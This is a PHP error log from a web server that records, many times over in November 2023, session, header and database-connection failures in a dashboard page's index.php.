[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
